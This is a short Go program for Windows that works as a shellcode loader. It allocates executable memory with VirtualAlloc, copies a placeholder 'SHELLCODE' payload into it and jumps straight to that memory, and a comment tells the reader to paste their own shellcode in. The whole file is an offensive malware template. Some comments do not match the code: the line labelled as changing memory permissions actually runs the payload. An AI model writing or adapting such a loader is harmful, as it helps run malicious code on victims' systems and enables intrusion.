package main

import (
    // necessary imports
    "syscall"
    "unsafe"
)

func mustRunShellcode() {
    // Paste your shellcode hex value here
    shellcode := []byte("SHELLCODE")

    kernel32 := syscall.MustLoadDLL("kernel32")
    virtualAlloc := kernel32.MustFindProc("VirtualAlloc")

    // Allocate memory with write access
    addr, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)

    // Copy shellcode
    shellcodePtr := ((*[99000]byte)(unsafe.Pointer(addr)))
    for i, value := range shellcode {
        shellcodePtr[i] = value
    }

    // Change memory permissions
    syscall.Syscall(addr, 0, 0, 0, 0)
}

func main() {
    mustRunShellcode()
}